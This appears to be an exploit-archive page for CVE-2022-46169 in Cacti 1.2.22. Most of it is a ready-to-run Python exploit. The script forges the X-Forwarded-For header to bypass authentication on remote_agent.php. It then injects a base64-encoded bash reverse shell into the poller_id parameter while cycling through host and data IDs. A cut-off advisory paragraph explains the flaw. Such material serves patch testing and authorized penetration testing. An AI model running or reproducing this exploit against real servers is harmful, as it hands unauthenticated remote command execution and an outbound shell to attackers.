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Cacti 1.2.22 Remote Command Execution

Cacti version 1.2.22 suffers from a remote command execution vulnerability.

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#vulnerability#web#windows#apple#debian#git#php#auth#chrome#webkit#firefox
# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)# Exploit Author: Riadh BOUCHAHOUA# Discovery Date: 2022-12-08 # Vendor Homepage: https://www.cacti.net/# Software Links : https://github.com/Cacti/cacti# Tested Version: 1.2.2x <= 1.2.22# CVE: CVE-2022-46169# Tested on OS: Debian 10/11#!/usr/bin/env python3import randomimport httpx, urllibclass Exploit:    def __init__(self, url, proxy=None, rs_host="",rs_port=""):        self.url = url         self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)        self.rs_host = rs_host        self.rs_port = rs_port    def exploit(self):        # cacti local ip from the url for the X-Forwarded-For header        local_cacti_ip  = self.url.split("//")[1].split("/")[0]            headers = {            'X-Forwarded-For': f'{local_cacti_ip}'        }                revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"        import base64        b64_revshell = base64.b64encode(revshell.encode()).decode()        payload = f";echo {b64_revshell} | base64 -d | bash -"        payload = urllib.parse.quote(payload)        urls = []                # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)        for host_id in range(1,100):            for local_data_ids in range(1,100):                urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")                        for url in urls:            r = self.session.get(url,headers=headers)            print(f"{r.status_code} - {r.text}" )        pass    def random_user_agent(self):        ua_list = [            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",        ]        return random.choice(ua_list)def parse_args():    import argparse        argparser = argparse.ArgumentParser()    argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")    argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)    argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)    return argparser.parse_args()def main() -> None:    # Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL     args = parse_args()    e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)    e.exploit()if __name__ == "__main__":    main()

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Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVE...

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